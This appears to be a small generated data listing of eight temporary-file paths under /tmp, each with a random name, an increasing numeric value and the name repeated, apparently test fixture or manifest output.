/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	909	I218GnK1hv0f51oIEetHFCMXWIehvPj25A
/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	915	ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	921	JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	927	wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	933	kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	939	IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	945	CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	951	GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW